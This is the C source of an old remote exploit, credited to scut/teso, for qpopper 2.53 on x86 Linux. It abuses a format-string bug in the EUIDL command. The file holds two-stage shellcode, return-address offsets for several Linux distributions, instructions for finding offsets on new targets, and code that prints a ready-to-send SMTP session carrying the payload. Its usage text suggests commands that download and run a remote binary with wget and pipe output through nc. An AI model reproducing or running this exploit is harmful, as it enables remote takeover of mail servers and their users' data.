/* qpopper 2.53 euidl x86/linux remote exploit * * public version released 2000/07/15 * * 2000/05/30 * -scut/teso. * * discovered and first exploited by portal, * further information by prizm and csh. * * greets to team teso, security.is, thc, adm, w00w00, hert * special thanks to portal and csh for pointing some things out * * supply me with offsets (see below) */ #include #include #include #include #include #define SC_LEN 109 /* first shellcode length */ #define D_PAD 1897 /* %-...d padding to expand the buffer */ #define BODY_NOP_COUNT 8000 #define BODY_LENGTH 8192 /* 44 byte "read (3, , 8192)" x86/linux pic shellcode * without 0x0a, 0x41-0x5b, 0x80-0x9f -sc. * first smack * * it basically reads 8192 bytes behind itself and then jumps * 120 bytes ahead into hopefully nop-space :-) */ unsigned char shellcode[] = "\xeb\x22\x5f\x31\xc0\xf9\x11\xc7\xf9\xc0\xd8\x01" "\x31\xc9\x01\xf9\xaa\x31\xdb\xb3\x03\x31\xc0\xb0" "\x03\x01\xc1\x31\xd2\xf9\x66\xc1\xda\x03\xeb\x05" "\xe8\xd9\xff\xff\xff\xcd\x5f\xeb\x78"; /* 38 byte x86/linux PIC arbitrary execute shellcode - scut / teso * second smack, read from message body */ unsigned char ex_shellcode[] = "\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a\x07" "\x47\x57\xae\x75\xfd\x88\x67\xff\x48\x75\xf6\x5b" "\x53\x50\x5a\x89\xe1\xb0\x0b\xcd\x80\xe8\xdc\xff" "\xff\xff"; static int sc_build (unsigned char *target, size_t target_len, unsigned char *shellcode, char **argv); void hexdump (unsigned char *cbegin, unsigned char *cend); void sc_verify (unsigned char *sc, size_t length); typedef struct { char * name; unsigned long int ret_addr; unsigned long int pop_pointer; } target_t; /* HOWTO get the offsets * * to aquire the offsets for an unknown version of QPOP 2.53 you have to have * a POP-able account on the target system. * * do as follows: * * telnet smtp-server-for-target.target.com 25 * * 220 smtp-server-for-target.target.com ready. * MAIL FROM: <> * 250 <<>> ... Sender Okay * RCPT TO: * 250 ... Recipient Okay * DATA * 354 Enter mail, end with "." on a line by itself * Subject: footest * From: %08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x * . * 250 Mail accepted * QUIT * 221 smtp-server-for-target.target.com closing connection * * now login via POP3: * * telnet pop.target.com 110 * * +OK QPOP (version 2.53) at pop.target.com starting. * USER targetuser * +OK Password required for targetuser. * PASS passbla * +OK targetuser has 1 messages (1141 octets). * EUIDL 1 * +OK 2 54a955db49a7de403d100a67618fee20 455 bfffd3c0.080505f1.bfffd3c0.000001c7.08052306.bfffdbd8.08054b6c.080518d4. * * ^^^^^^^^ * this is the POP pointer. * the return address is POP pointer minus 0x08b0 * * pop_pointer = 0xbfffdbd8 - 0x08b0 = 0xbfffd328 * * The pop pointer has to be exact, if it hits one of the forbidden characters * (0x0a, 0x41-0x5b, 0x80-0x9f) you're out of luck. The return address can be * modified in a window of about 50 bytes, this is enough. * * please mail the following data to scut@nb.in-berlin.de in case you get * it working on some default distribution: * * - exact distribution version * - ls -l /usr/sbin/popper output (or wherever your popper binary lies) * - file /usr/sbin/popper output * - first seven stack variables (as in output below) * - the following output: (echo VERSION;sleep 2)|telnet localhost 113 * (in case you have a default identd installed) * * thank you very much, mail the whole stuff to scut@nb.in-berlin.de, i'll send * you a copy with all known offsets back. */ target_t targets[] = { /* -rwxrwxr-x 1 scut scut 39356 May 30 00:06 /tmp/popper */ /* 0x08054970.0xbfffdbd8.0x08051a1c.0x080496d0.0x00000005.0xbfffdbd8.0xbfffd7d8 */ { "Debian 2.1 source compilation", 0xbfffd328, 0xbfffdbd8 }, /* -rwxr-xr-x 1 root root 38276 Jul 18 1998 /usr/sbin/in.qpopper */ /* /usr/sbin/in.qpopper: ELF 32-bit LSB executable, Intel 80386, version 1, * dynamically linked (uses shared libs), stripped */ /* 0xbfffd410.0x0805042e.0xbfffd410.0x0000020a.0x080521e2.0xbfffdc28.0x080541c8 */ { "RedHat 6.1 RPM: qpopper-2.53-1-PAM", 0xbfffd378, 0xbfffdc28 }, /* -rwxr-xr-x 1 root root 37776 Jun 1 13:17 /usr/sbin/popper */ /* 0xbfffd3b0.0x0804fc91.0xbfffd3b0.0x0000017d.0x08051986.0xbfffdbc8.0x080542c8 */ { "Slackware 7 default binary", 0xbfffd318, 0xbfffdbc8 }, /* 0xbfffefbc.0x0804f7be.0xbfffefbc.0x000001ca.0xbfffeba2.0xbffff7d4.0x0805245c */ { "SuSE 5.2 default binary", 0xbfffe2f2, 0xbfffeba2 }, /* -rwxr-xr-x 1 root root 39700 Dec 11 1998 /usr/sbin/popper */ /* /usr/sbin/popper: ELF 32-bit LSB executable, Intel 80386, version 1, * dynamically linked (uses shared libs), stripped */ /* 0xbfffd3c0.0x080505f1.0xbfffd3c0.0x000001ad.0x08052306.0xbfffdbd8.0x08054b6c */ { "SuSE 6.0 default binary", 0xbfffd328, 0xbfffdbd8 }, { NULL, 0, 0 }, }; static int sc_build (unsigned char *target, size_t target_len, unsigned char *shellcode, char **argv) { int i; size_t tl_orig = target_len; if (strlen (shellcode) >= (target_len - 1)) return (-1); memcpy (target, shellcode, strlen (shellcode)); target += strlen (shellcode); target_len -= strlen (shellcode); for (i = 0 ; argv[i] != NULL ; ++i) ; /* set argument count [2000]*/ target[0] = (unsigned char) i; target++; target_len--; for ( ; i > 0 ; ) { i -= 1; if (strlen (argv[i]) >= target_len) return (-1); printf ("[%3d/%3d] adding (%2d): %s\n", (tl_orig - target_len), tl_orig, strlen (argv[i]), argv[i]); memcpy (target, argv[i], strlen (argv[i])); target += strlen (argv[i]); target_len -= strlen (argv[i]); target[0] = (unsigned char) (i + 1); target++; target_len -= 1; } return (tl_orig - target_len); } void hexdump (unsigned char *cbegin, unsigned char *cend) { int i; unsigned char * buf = cbegin; printf ("/* %d byte shellcode */\n", cend - cbegin); printf ("\""); for (i = 0 ; buf < cend; ++buf) { printf ("\\x%02x", *buf & 0xff); if (++i >= 12) { i = 0; printf ("\"\n\""); } } printf ("\";\n\n"); } void sc_verify (unsigned char *sc, size_t length) { int n, bc = 0; for (n = length - 1 ; n >= 0 ; --n) { if (isupper (sc[n])) { printf ("upper char '%c' (%02x) at sc[%d]\n", sc[n], sc[n], n); bc += 1; } else if (sc[n] == '\x0a') { printf ("carriage return \\x0a at sc[%d]\n", n); bc += 1; } else if (sc[n] >= (unsigned char) '\x80' && sc[n] <= (unsigned char) '\x9f') { printf ("sendmail filtered character '\\x%02x' at sc[%d], won't survive sendmail\n", sc[n], n); } else if (n != 0 && n != 2 && sc[n] == '%') { printf ("%% character may cause trouble at sc[%d]\n", n); } } if (bc > 0) { printf ("%d invalid %s, aborting...\n", bc, (bc == 1) ? "character" : "characters"); exit (EXIT_FAILURE); } } int main (int argc, char *argv[]) { int n, i; unsigned int target_num; target_t * target; unsigned char mbuf[64]; unsigned char tbuf[129]; unsigned char xpbuf[129]; unsigned char body[BODY_LENGTH]; unsigned char * xbp = xpbuf; unsigned long int retaddr; unsigned long int poppointer; printf ("7350qpop - qpopper 2.53 x86/linux remote\n"); printf ("-scut / teso.\n\n"); if (argc < 5) { printf ("usage: %s commands ...\n\n", argv[0]); printf ("target target system type\n"); printf ("source-email sender email address (has to get accepted)\n"); printf ("target-email email user that will POP-get the email\n"); printf ("commands commands to run on the remote host,\n"); printf (" example: /bin/sh -c \"wget 1.1.1.1/a;chmod +x a;./a\"\n\n"); printf ("example:\n\n" "%s 1 foo@foobar.com user@example.com \\\n" " /bin/sh -c \"echo owned>/etc/issue\" 2>&1 >/dev/null | nc example.com 25\n\n", argv[0]); printf ("the standard output is for the user, the error output contains the smtp-\n" "output to send to the mail server.\n\n"); printf ("targets:\n"); for (n = 0 ; targets[n].name != NULL ; ++n) { printf ("%8d : %40s : 0x%08x : 0x%08x\n", n, targets[n].name, (unsigned int) targets[n].ret_addr, (unsigned int) targets[n].pop_pointer); } printf ("\nsee the source file to see the method to get the offsets.\n\n"); exit (EXIT_FAILURE); } if (sscanf (argv[1], "%u", &target_num) != 1) { printf ("target specification invalid\n"); exit (EXIT_FAILURE); } for (n = 0 ; targets[n].name != NULL && n < target_num ; ++n) ; if (targets[n].name == NULL) { printf ("target number out of range\n"); exit (EXIT_FAILURE); } target = &targets[n]; retaddr = target->ret_addr; poppointer = target->pop_pointer; /* construct first read() shellcode [2000]*/ memset (tbuf, '\x00', sizeof (tbuf)); printf ("constructing first shellcode...\n\n"); memcpy (tbuf, shellcode, strlen (shellcode)); n = strlen (shellcode); printf ("shellcode size: %d bytes\n\n", n); hexdump (tbuf, tbuf + n); memset (mbuf, '\x00', sizeof (mbuf)); sprintf (mbuf, "%%-%dd", D_PAD); sprintf (xbp, "<>%s", mbuf); xbp += strlen (xbp); for (n = 0 ; n < SC_LEN ; ++n) { xbp[0] = '\x5f'; /* nops0r replac0r (das) */ xbp++; } xbp -= strlen (tbuf); strcpy (xbp, tbuf); xbp += strlen (xbp); printf ("using\n"); printf (" retaddr : 0x%08x\n", (unsigned int) retaddr); printf (" (POP *) p : 0x%08x\n\n", (unsigned int) poppointer); /* _[ra]_[p] [2000]*/ xbp[0] = (retaddr ) & 0xff; xbp[1] = (retaddr >> 8) & 0xff; xbp[2] = (retaddr >> 16) & 0xff; xbp[3] = (retaddr >> 24) & 0xff; xbp += 4; /* [ra]_[p]_ [2000]*/ xbp[0] = (poppointer ) & 0xff; xbp[1] = (poppointer >> 8) & 0xff; xbp[2] = (poppointer >> 16) & 0xff; xbp[3] = (poppointer >> 24) & 0xff; xbp += 4; xbp[0] = '\x00'; printf ("strlen (xpbuf) = %d\n", strlen (xpbuf)); hexdump (xpbuf, xpbuf + strlen (xpbuf)); sc_verify (xpbuf, strlen (xpbuf)); printf ("shellcode passed verification, ready for delivery.\n"); fprintf (stderr, "EHLO foobar.com\n"); fprintf (stderr, "MAIL FROM: <%s>\n", argv[2]); fprintf (stderr, "RCPT TO: <%s>\n", argv[3]); fprintf (stderr, "DATA\n"); fprintf (stderr, "Subject: Hello\n"); fprintf (stderr, "From: %s\n\n", xpbuf); /* insert real shellcode [2000]*/ for (n = 0 ; n < BODY_NOP_COUNT ; ++n) body[n] = '\x90'; /* extra reliability armor (tm) to avoid line breakage [2000]*/ for (i = 0 ; i < (n - 132) ; i += 128) { body[i] = '\xeb'; body[i+1] = '\x08'; body[i+2] = '\x0a'; } sc_build (&body[n], BODY_LENGTH - BODY_NOP_COUNT - 1, ex_shellcode, &argv[4]); body[BODY_LENGTH - 1] = '\x00'; fprintf (stderr, "%s\n", body); fprintf (stderr, "\n.\nQUIT\n"); exit (EXIT_SUCCESS); } /* www.hack.co.za [18 July 2000]*/